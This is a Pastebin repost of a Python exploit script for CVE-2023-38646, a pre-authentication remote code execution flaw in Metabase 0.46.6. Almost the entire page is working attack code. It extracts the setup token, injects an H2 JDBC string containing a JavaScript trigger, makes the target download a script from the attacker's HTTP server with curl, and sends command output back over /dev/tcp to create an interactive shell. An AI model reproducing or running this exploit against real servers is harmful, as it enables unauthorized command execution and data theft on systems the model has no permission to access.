FlyFar

Metabase 0.46.6 - Pre-Auth Remote Code Execution - CVE-2023-38646

Feb 16th, 2024
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.09 KB | Cybersecurity | 0 0
  1. # Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution
  2. # Google Dork: N/A
  3. # Date: 13-10-2023
  4. # Exploit Author: Musyoka Ian
  5. # Vendor Homepage: https://www.metabase.com/
  6. # Software Link: https://www.metabase.com/
  7. # Version: metabase 0.46.6
  8. # Tested on: Ubuntu 22.04, metabase 0.46.6
  9. # CVE : CVE-2023-38646
  10.  
  11. #!/usr/bin/env python3
  12.  
  13. import socket
  14. from http.server import HTTPServer, BaseHTTPRequestHandler
  15. from typing import Any
  16. import requests
  17. from socketserver import ThreadingMixIn
  18. import threading
  19. import sys
  20. import argparse
  21. from termcolor import colored
  22. from cmd import Cmd
  23. import re
  24. from base64 import b64decode
  25.  
  26.  
  27. class Termial(Cmd):
  28.     prompt = "metabase_shell > "
  29.     def default(self,args):
  30.         shell(args)
  31.  
  32.  
  33. class Handler(BaseHTTPRequestHandler):
  34.     def do_GET(self):
  35.         global success
  36.         if self.path == "/exploitable":
  37.            
  38.             self.send_response(200)
  39.             self.end_headers()
  40.             self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0  > /dev/tcp/{argument.lhost}/{argument.lport}".encode())
  41.             success = True
  42.  
  43.         else:
  44.             print(self.path)
  45.             #sys.exit(1)
  46.     def log_message(self, format: str, *args: Any) -> None:
  47.         return None
  48.  
  49. class Server(HTTPServer):
  50.     pass
  51.  
  52. def run():
  53.     global httpserver
  54.     httpserver = Server(("0.0.0.0", argument.sport), Handler)
  55.     httpserver.serve_forever()
  56.  
  57. def exploit():
  58.     global success, setup_token
  59.     print(colored("[*] Retriving setup token", "green"))
  60.     setuptoken_request = requests.get(f"{argument.url}/api/session/properties")
  61.     setup_token = re.search('"setup-token":"(.*?)"', setuptoken_request.text, re.DOTALL).group(1)
  62.     print(colored(f"[+] Setup token: {setup_token}", "green"))
  63.     print(colored("[*] Tesing if metabase is vulnerable", "green"))
  64.     payload = {
  65.         "token": setup_token,
  66.         "details":
  67.         {
  68.             "is_on_demand": False,
  69.             "is_full_sync": False,
  70.             "is_sample": False,
  71.             "cache_ttl": None,
  72.             "refingerprint": False,
  73.             "auto_run_queries": True,
  74.             "schedules":
  75.             {},
  76.             "details":
  77.             {
  78.                 "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://{argument.lhost}:{argument.sport}/exploitable').openConnection().getContentLength()\n$$--=x\\;",
  79.                 "advanced-options": False,
  80.                 "ssl": True
  81.                 },
  82.                 "name": "an-sec-research-musyoka",
  83.                 "engine": "h2"
  84.                 }
  85.                 }
  86.     timer = 0
  87.     print(colored(f"[+] Starting http server on port {argument.sport}", "blue"))
  88.     thread = threading.Thread(target=run, )
  89.     thread.start()
  90.     while timer != 120:
  91.         test = requests.post(f"{argument.url}/api/setup/validate", json=payload)
  92.         if success == True :
  93.             print(colored("[+] Metabase version seems exploitable", "green"))
  94.             break
  95.         elif timer == 120:
  96.             print(colored("[-] Service does not seem exploitable exiting ......", "red"))
  97.             sys.exit(1)
  98.  
  99.     print(colored("[+] Exploiting the server", "red"))
  100.    
  101.  
  102.     terminal = Termial()
  103.     terminal.cmdloop()
  104.  
  105.  
  106. def shell(command):
  107.     global setup_token, payload2
  108.     payload2 = {
  109.         "token": setup_token,
  110.         "details":
  111.         {
  112.             "is_on_demand": False,
  113.             "is_full_sync": False,
  114.             "is_sample": False,
  115.             "cache_ttl": None,
  116.             "refingerprint": False,
  117.             "auto_run_queries": True,
  118.             "schedules":
  119.             {},
  120.             "details":
  121.             {
  122.                 "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl {argument.lhost}:{argument.sport}/exploitable -o /dev/shm/exec.sh')\n$$--=x",
  123.                 "advanced-options": False,
  124.                 "ssl": True
  125.                 },
  126.                 "name": "an-sec-research-team",
  127.                 "engine": "h2"
  128.                 }
  129.                 }
  130.    
  131.     output = requests.post(f"{argument.url}/api/setup/validate", json=payload2)
  132.     bind_thread = threading.Thread(target=bind_function, )
  133.     bind_thread.start()
  134.     #updating the payload
  135.     payload2["details"]["details"]["db"] = f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash /dev/shm/exec.sh {command}')\n$$--=x"
  136.     requests.post(f"{argument.url}/api/setup/validate", json=payload2)
  137.     #print(output.text)
  138.  
  139.  
  140. def bind_function():
  141.     try:
  142.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  143.         sock.bind(("0.0.0.0", argument.lport))
  144.         sock.listen()
  145.         conn, addr = sock.accept()
  146.         data = conn.recv(10240).decode("ascii")
  147.         print(f"\n{(b64decode(data)).decode()}")
  148.     except Exception as ex:
  149.         print(colored(f"[-] Error: {ex}", "red"))
  150.         pass
  151.    
  152.  
  153.  
  154. if __name__ == "__main__":
  155.     print(colored("[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]", "magenta"))
  156.     args = argparse.ArgumentParser(description="Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]")
  157.     args.add_argument("-l", "--lhost", metavar="", help="Attacker's bind IP Address", type=str, required=True)
  158.     args.add_argument("-p", "--lport", metavar="", help="Attacker's bind port", type=int, required=True)
  159.     args.add_argument("-P", "--sport", metavar="", help="HTTP Server bind port", type=int, required=True)
  160.     args.add_argument("-u", "--url", metavar="", help="Metabase web application URL", type=str, required=True)
  161.     argument  = args.parse_args()
  162.     if argument.url.endswith("/"):
  163.         argument.url = argument.url[:-1]
  164.     success = False
  165.     exploit()
  166.            
Add Comment
Please, Sign In to add comment